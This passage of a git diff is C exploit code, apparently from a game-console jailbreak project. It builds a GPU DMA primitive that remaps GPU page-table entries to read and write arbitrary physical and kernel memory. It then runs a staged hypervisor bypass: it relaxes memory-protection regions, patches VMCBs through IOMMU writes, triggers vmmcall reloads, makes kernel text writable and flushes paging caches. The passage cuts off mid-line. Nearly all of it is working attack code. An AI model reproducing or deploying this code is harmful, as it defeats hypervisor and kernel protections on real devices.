current_ptbe; - kernel_copyout(s_gpu.victim_ptbe_va, ¤t_ptbe, sizeof(current_ptbe)); - s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa; - - DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe); - DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe); - - int prot_rw = prot_ro | PROT_GPU_WRITE; - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); - - s_gpu.initialized = 1; - DEBUG_PRINT("[gpu] ready\n"); - return 0; -} - -int gpu_test(void) { - if (!s_gpu.initialized) { - printf("[gpu] ERROR: not initialized\n"); - return -1; - } - - DEBUG_PRINT("[gpu] test\n"); - - // Test 1: Read a known kernel .data value via GPU DMA and compare - uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE; - uint64_t test_pa = va_to_pa_kernel(test_va); - DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa); - - uint64_t kernel_val = kernel_getlong(test_va); - DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val); - - uint64_t gpu_val = gpu_read_phys8(test_pa); - DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val); - - if (kernel_val == gpu_val) { - printf("[gpu] *** TEST PASSED: values match ***\n"); - } else { - printf("[gpu] *** TEST FAILED: values differ ***\n"); - return -1; - } - - // Test 2: Write and read-back test - uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000); - uint64_t magic = 0xDEADBEEFCAFEBABEULL; - - DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic); - gpu_write_phys8(test_write_pa, magic); - - uint64_t readback = gpu_read_phys8(test_write_pa); - DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback); - - if (readback == magic) { - printf("[gpu] *** WRITE TEST PASSED ***\n"); - } else { - printf("[gpu] *** WRITE TEST FAILED ***\n"); - return -1; - } - - printf("[gpu] tests ok\n"); - return 0; -} - -int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) { - return gpu_transfer_physical(phys_addr, out_buf, size, 0); -} - -uint8_t gpu_read_phys1(uint64_t phys_addr) { - uint8_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -uint32_t gpu_read_phys4(uint64_t phys_addr) { - uint32_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -uint64_t gpu_read_phys8(uint64_t phys_addr) { - uint64_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) { - return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1); -} - -void gpu_write_phys4(uint64_t phys_addr, uint32_t value) { - gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); -} - -void gpu_write_phys8(uint64_t phys_addr, uint64_t value) { - gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); -} - -void gpu_cleanup(void) { - if (s_gpu.fd >= 0) { - close(s_gpu.fd); - s_gpu.fd = -1; - } - - s_gpu.initialized = 0; - printf("[gpu] Cleaned up\n"); -} +#include "gpu.h" +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include + +int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment, + int mem_type, uint64_t *phys_out); +int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot, + int flags, uint64_t phys, size_t alignment, + const char *name); +int sceKernelSleep(int secs); + +static struct gpu_ctx s_gpu = {0}; +static struct gpu_kernel_offsets s_gpu_offsets = {0}; +static int s_offsets_set = 0; + +struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; } + +void gpu_set_offsets(struct gpu_kernel_offsets *offsets) { + memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets)); + s_offsets_set = 1; +} + +static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) { + return (pde >> shift) & mask; +} + +static int gpu_get_vmid(void) { + uint64_t curproc = kernel_get_proc(getpid()); + uint64_t vmspace; + uint32_t vmid; + + kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace, + sizeof(vmspace)); + kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid)); + + return (int)vmid; +} + +static uint64_t gpu_get_pdb2_addr(int vmid) { + uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + + s_gpu_offsets.data_base_gvmspace + + (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; + + uint64_t pdb2_va; + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va, + sizeof(pdb2_va)); + return pdb2_va; +} + +static uint64_t gpu_get_relative_va(int vmid, uint64_t va) { + uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + + s_gpu_offsets.data_base_gvmspace + + (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; + + uint64_t start_va, size; + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va, + sizeof(start_va)); + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size)); + + if (va >= start_va && va < start_va + size) + return va - start_va; + + return (uint64_t)-1; +} + +static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va, + uint64_t *out_page_size) { + uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid); + + uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF; + uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF; + uint64_t pde_idx = (gpu_va >> 21) & 0x1FF; + + // PDB2 (PML4 equivalent) + uint64_t pml4e; + kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e)); + + if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // PDB1 (PDPT equivalent) + uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK; + uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8; + uint64_t pdpe; + kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe)); + + if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // PDB0 (PD equivalent) + uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK; + uint64_t pde_va = dmap + pd_pa + pde_idx * 8; + uint64_t pde; + kernel_copyout(pde_va, &pde, sizeof(pde)); + + if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // If IS_PTE bit set, this is a 2MB leaf + if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) { + *out_page_size = 0x200000; + return pde_va; + } + + // PTB (page table block) + uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F); + uint64_t offset = gpu_va & 0x1FFFFF; + uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK; + + uint64_t pte_idx, pte_va; + + if (frag_size == 4) { + pte_idx = offset >> 16; + pte_va = dmap + pt_pa + pte_idx * 8; + + uint64_t pte; + kernel_copyout(pte_va, &pte, sizeof(pte)); + + if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 && + gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) { + pte_idx = (gpu_va & 0xFFFF) >> 13; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x2000; // 8KB + } else { + *out_page_size = 0x10000; // 64KB + } + } else if (frag_size == 1) { + pte_idx = offset >> 13; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x2000; // 8KB + } else { + // Unknown fragment size - use 64KB as default + pte_idx = offset >> 16; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x10000; + } + + return pte_va; +} + +static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) { + uint64_t phys_out = 0; + void *va_out = NULL; + + int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ; + if (gpu_write) + prot |= PROT_GPU_WRITE; + + int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out); + if (ret != 0) { + printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret); + return 0; + } + + ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE, + phys_out, size, "gpudma"); + if (ret != 0) { + printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret); + return 0; + } + + return (uint64_t)va_out; +} + +static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) { + return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) | + ((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1); +} + +static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va, + uint32_t length) { + uint32_t *pkt = (uint32_t *)buf; + uint32_t count = 6; + + uint32_t dma_hdr = (1u << 31) // cp_sync + | (2u << 25) // dst_cache_policy + | (1u << 27) // dst_volatile + | (2u << 13) // src_cache_policy + | (1u << 15); // src_volatile + + pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count); + pkt[1] = dma_hdr; + pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF); + pkt[3] = (uint32_t)(src_va >> 32); + pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF); + pkt[5] = (uint32_t)(dst_va >> 32); + pkt[6] = length & 0x1FFFFF; + + return 7 * sizeof(uint32_t); +} + +static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr, + uint32_t size_bytes) { + uint64_t *d = (uint64_t *)desc; + uint32_t size_dwords = size_bytes >> 2; + + d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL; + d[1] = + (((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF); +} + +static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count, + uint64_t descriptors_ptr) { + struct { + uint32_t pipe_id; + uint32_t count; + uint64_t cmd_buf_ptr; + } submit; + + submit.pipe_id = pipe_id; + submit.count = cmd_count; + submit.cmd_buf_ptr = descriptors_ptr; + + return ioctl(fd, GPU_SUBMIT_IOCTL, &submit); +} + +static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf, + uint32_t size, int is_write) { + if (!s_gpu.initialized) + return -1; + + uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1); + uint64_t offset = phys_addr - aligned_pa; + + if (offset + size > s_gpu.dmem_size) { + printf("[gpu] transfer exceeds dmem_size\n"); + return -1; + } + + int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; + int prot_rw = prot_ro | PROT_GPU_WRITE; + + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); + + uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa; + kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe); + + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); + uint64_t src, dst; + + if (is_write) { + memcpy((void *)s_gpu.transfer_va, local_buf, size); + src = s_gpu.transfer_va; + dst = s_gpu.victim_va + offset; + } else { + src = s_gpu.victim_va + offset; + dst = s_gpu.transfer_va; + } + + int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size); + + uint8_t desc[16]; + gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size); + + uint64_t desc_va = s_gpu.cmd_va + 0x1000; + memcpy((void *)desc_va, desc, 16); + + int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va); + if (ret != 0) { + printf("[gpu] ioctl submit failed: %d\n", ret); + return -1; + } + + // Wait for GPU DMA completion + // TODO: proper fence/signal wait + usleep(100000); + + if (!is_write) { + memcpy(local_buf, (void *)s_gpu.transfer_va, size); + } + + // Restore victim PTE to original physical address + uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa; + kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe); + + return 0; +} + +int gpu_init(void) { + // init GPU DMA + struct gpu_kernel_offsets go = {}; + go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE; + go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID; + go.sizeof_gvmspace = 0x100; + go.gvmspace_page_dir_va = 0x38; + go.gvmspace_size = 0x10; + go.gvmspace_start_va = 0x08; + go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE; + + gpu_set_offsets(&go); + + if (gpu_init_internal()) + return -1; + + return 0; +} + +int gpu_init_internal(void) { + if (s_gpu.initialized) { + DEBUG_PRINT("[gpu] Already initialized\n"); + return 0; + } + + if (!s_offsets_set) { + DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n"); + return -1; + } + + DEBUG_PRINT("[gpu] init\n"); + + s_gpu.dmem_size = 2 * 0x100000; // 2MB + + // Step 1: Open GPU device + DEBUG_PRINT("[gpu] Opening /dev/gc\n"); + s_gpu.fd = open("/dev/gc", O_RDWR); + if (s_gpu.fd < 0) { + DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd); + return -1; + } + DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd); + + // Step 2: Allocate 3 GPU-mapped buffers + DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n"); + + s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.victim_va) { + DEBUG_PRINT("[gpu] victim alloc failed\n"); + return -2; + } + + s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.transfer_va) { + DEBUG_PRINT("[gpu] transfer alloc failed\n"); + return -2; + } + + s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.cmd_va) { + DEBUG_PRINT("[gpu] cmd alloc failed\n"); + return -2; + } + + DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va); + DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va); + DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va); + + // Step 3: Get the physical address of the victim buffer + s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va); + DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa); + + // Step 4: Walk GPU page tables to find the PTE for the victim buffer + int vmid = gpu_get_vmid(); + DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid); + + if (s_gpu_offsets.data_base_gvmspace == 0) { + DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n"); + return -3; + } + + uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va); + if (rel_va == (uint64_t)-1) { + DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n"); + return -3; + } + DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va); + + s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size); + if (s_gpu.victim_ptbe_va == 0) { + DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n"); + return -4; + } + DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va); + DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size); + + if (s_gpu.page_size != s_gpu.dmem_size) { + DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n", + s_gpu.page_size, s_gpu.dmem_size); + } + + // Step 5: Prepare the cleared PTE template + int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); + + uint64_t current_ptbe; + kernel_copyout(s_gpu.victim_ptbe_va, ¤t_ptbe, sizeof(current_ptbe)); + s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa; + + DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe); + DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe); + + int prot_rw = prot_ro | PROT_GPU_WRITE; + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); + + s_gpu.initialized = 1; + DEBUG_PRINT("[gpu] ready\n"); + return 0; +} + +int gpu_test(void) { + if (!s_gpu.initialized) { + printf("[gpu] ERROR: not initialized\n"); + return -1; + } + + DEBUG_PRINT("[gpu] test\n"); + + // Test 1: Read a known kernel .data value via GPU DMA and compare + uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE; + uint64_t test_pa = va_to_pa_kernel(test_va); + DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa); + + uint64_t kernel_val = kernel_getlong(test_va); + DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val); + + uint64_t gpu_val = gpu_read_phys8(test_pa); + DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val); + + if (kernel_val == gpu_val) { + printf("[gpu] *** TEST PASSED: values match ***\n"); + } else { + printf("[gpu] *** TEST FAILED: values differ ***\n"); + return -1; + } + + // Test 2: Write and read-back test + uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000); + uint64_t magic = 0xDEADBEEFCAFEBABEULL; + + DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic); + gpu_write_phys8(test_write_pa, magic); + + uint64_t readback = gpu_read_phys8(test_write_pa); + DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback); + + if (readback == magic) { + printf("[gpu] *** WRITE TEST PASSED ***\n"); + } else { + printf("[gpu] *** WRITE TEST FAILED ***\n"); + return -1; + } + + printf("[gpu] tests ok\n"); + return 0; +} + +int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) { + return gpu_transfer_physical(phys_addr, out_buf, size, 0); +} + +uint8_t gpu_read_phys1(uint64_t phys_addr) { + uint8_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +uint32_t gpu_read_phys4(uint64_t phys_addr) { + uint32_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +uint64_t gpu_read_phys8(uint64_t phys_addr) { + uint64_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) { + return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1); +} + +void gpu_write_phys4(uint64_t phys_addr, uint32_t value) { + gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); +} + +void gpu_write_phys8(uint64_t phys_addr, uint64_t value) { + gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); +} + +void gpu_cleanup(void) { + if (s_gpu.fd >= 0) { + close(s_gpu.fd); + s_gpu.fd = -1; + } + + s_gpu.initialized = 0; + printf("[gpu] Cleaned up\n"); +} diff --git a/source/hv_defeat.c b/source/hv_defeat.c index f18030d..56b495a 100644 --- a/source/hv_defeat.c +++ b/source/hv_defeat.c @@ -1,294 +1,294 @@ -#include "hv_defeat.h" -#include "config.h" -#include "gpu.h" -#include "iommu.h" -#include "tmr.h" -#include "utils.h" -#include -#include -#include -#include -#include -#include - -uint64_t vmcb_pa[16]; - -int hv_defeat(void) { - if (gpu_init()) - return -1; - if (stage1_tmr_relax()) - return -1; - if (stage2_find_vmcbs()) - return -1; - iommu_selftest(); - if (stage3_patch_vmcbs()) - return -1; - if (stage4_force_vmcb_reload()) - return -1; - if (stage5_remove_xotext()) - return -1; - if (stage6_kernel_pmap_invalidate_all()) - return -1; - return 0; -} - -int stage1_tmr_relax(void) { - DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: "); - - DEBUG_PRINT("Firmware version: %04x\n", fw); - - for (int t = 0; t < 22; t++) { - uint32_t b = tmr_read(TMR_BASE(t)); - uint32_t l = tmr_read(TMR_LIMIT(t)); - uint32_t c = tmr_read(TMR_CONFIG(t)); - if (c == 0 && b == 0 && l == 0) - continue; - DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t, - (uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c); - } - - if (fw < 0x0300) { - tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); - - if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) - goto no_ok; - - } else { - tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE); - - if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE) - goto no_ok; - } - - DEBUG_PRINT("OK\n"); - return 0; - -no_ok: - DEBUG_PRINT("No OK\n"); - return -1; -} - -int stage2_find_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); - - uint64_t vcpu_off = env_offset.HV_VCPU; - uint64_t stride = env_offset.HV_VCPU_CPUID; - // Testing direct VMCB on 04.03 - if ((!vcpu_off || !stride) && fw < 0x0300) { - DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw); - return -1; - } - - for (int c = 0; c < 16; c++) { - vmcb_pa[c] = get_vmcb(c); - DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); - } - - return 0; -} - -// Only valid for 3.xx and 4.xx -// 1.xx and 2.xx have dynamic page alloc for VMCB -// TODO: add 1.xx and 2.xx logic -uint64_t get_vmcb(int core) { - switch (fw) { - case 0x0300: - case 0x0310: - case 0x0320: - case 0x0321: - return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000; - break; - case 0x0400: - case 0x0402: - case 0x0403: - case 0x0450: - case 0x0451: - return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000; - break; - default: - return -1; - } -} - -int iommu_selftest(void) { - DEBUG_PRINT("\n[iommu] self-test\n"); - - uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; - uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch); - - if (!scratch_pa || scratch_pa >= 0x100000000ULL) { - DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); - return -1; - } - - uint64_t pattern = 0xDEADCAFE12345678ULL; - DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch); - - iommu_write8_pa(scratch_pa, pattern); - uint64_t readback = kread64(dmap + scratch_pa); - - DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback, - (readback == pattern) ? "OK" : "FAIL"); - - return (readback == pattern) ? 0 : -1; -} - -int stage3_patch_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n"); - - int cur = sceKernelGetCurrentCpu(); - pin_to_core(cur); - - for (int i = 0; i < 16; i++) { - uint64_t pa = vmcb_pa[i]; - - iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL); - iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL); - iommu_write8_pa(pa + 0x10, 0x000000000000000FULL); - iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL); - iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL); - - DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); - - // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00); - // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08); - // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10); - // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58); - // uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90); - - // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n", - // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90 - // ); - - usleep(1000); - } - - pin_to_core(9); - - DEBUG_PRINT(" done, 16 cores\n"); - return 0; -} - -static jmp_buf jmp_env; -static volatile int vmmcall_faulted = 0; - -void handle_sigill(int sig) { - vmmcall_faulted = 1; - longjmp(jmp_env, 1); -} - -int stage4_force_vmcb_reload(void) { - - int ret = 0; - - auto old_handler = signal(SIGILL, handle_sigill); - - for (int i = 0; i < 16; i++) { - pin_to_core(i); - vmmcall_faulted = 0; - - if (setjmp(jmp_env) == 0) { - __asm__ volatile("vmmcall"); - } - - usleep(1000); - DEBUG_PRINT("[vmmcall] core: %02d %s\n", i, - vmmcall_faulted ? "SIGILL (caught)" : "ok"); - - // Accumulate results - ret |= vmmcall_faulted; - } - - signal(SIGILL, old_handler); - - // Return -1 if we didn't caught them - return ret ? 0 : -1; -} - -int stage5_remove_xotext(void) { - DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n"); - - uint64_t start = ktext; - uint64_t end = kdata; - int n __attribute__((unused)) = 0; - - for (uint64_t a = start; a < end; a += 0x1000) { - page_chain_set_rw(a); - n++; - } - DEBUG_PRINT(" %d pages on ktext\n", n); - - start = kdata; - end = kdata + 0x08000000; - n = 0; - for (uint64_t a = start; a < end; a += 0x1000) { - page_chain_set_rw(a); - n++; - } - DEBUG_PRINT(" %d pages on kdata\n", n); - return 0; -} - -int stage6_kernel_pmap_invalidate_all(void) { - - DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n"); - - static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; - - int pipe_fds[2]; - // set O_NONBLOCK to avoid PIPE_DIRECTW - if (pipe2(pipe_fds, O_NONBLOCK)) { - return -1; - } - - // the pipe starts off as 1 page large - we need to write into the pipe so it - // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt - // use the one page fast path - if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) { - close(pipe_fds[0]); - close(pipe_fds[1]); - return -1; - } - - // dont need this anymore - close(pipe_fds[1]); - - uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]); - - if (!INKERNEL(read_fd_file_data)) { - close(pipe_fds[0]); - return -1; - } - - uint64_t read_fd_buffer; - kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer, - sizeof(read_fd_buffer)); - - if (!INKERNEL(read_fd_buffer)) { - close(pipe_fds[0]); - return -1; - } - - // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be - // called anyvalid is only set if there is at least 1 non global entry being - // removed set the first entry as non global, its being removed anyway so its - // fine (?) - if (!page_remove_global(read_fd_buffer)) { - close(pipe_fds[0]); - return -1; - } - - // fd 0 is read end, it holds the buffer, this close is what does the - // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob - close(pipe_fds[0]); - return 0; -} \ No newline at end of file +#include "hv_defeat.h" +#include "config.h" +#include "gpu.h" +#include "iommu.h" +#include "tmr.h" +#include "utils.h" +#include +#include +#include +#include +#include +#include + +uint64_t vmcb_pa[16]; + +int hv_defeat(void) { + if (gpu_init()) + return -1; + if (stage1_tmr_relax()) + return -1; + if (stage2_find_vmcbs()) + return -1; + iommu_selftest(); + if (stage3_patch_vmcbs()) + return -1; + if (stage4_force_vmcb_reload()) + return -1; + if (stage5_remove_xotext()) + return -1; + if (stage6_kernel_pmap_invalidate_all()) + return -1; + return 0; +} + +int stage1_tmr_relax(void) { + DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: "); + + DEBUG_PRINT("Firmware version: %04x\n", fw); + + for (int t = 0; t < 22; t++) { + uint32_t b = tmr_read(TMR_BASE(t)); + uint32_t l = tmr_read(TMR_LIMIT(t)); + uint32_t c = tmr_read(TMR_CONFIG(t)); + if (c == 0 && b == 0 && l == 0) + continue; + DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t, + (uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c); + } + + if (fw < 0x0300) { + tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); + + if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) + goto no_ok; + + } else { + tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE); + + if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE) + goto no_ok; + } + + DEBUG_PRINT("OK\n"); + return 0; + +no_ok: + DEBUG_PRINT("No OK\n"); + return -1; +} + +int stage2_find_vmcbs(void) { + DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); + + uint64_t vcpu_off = env_offset.HV_VCPU; + uint64_t stride = env_offset.HV_VCPU_CPUID; + // Testing direct VMCB on 04.03 + if ((!vcpu_off || !stride) && fw < 0x0300) { + DEBUG_PRINT(" missing 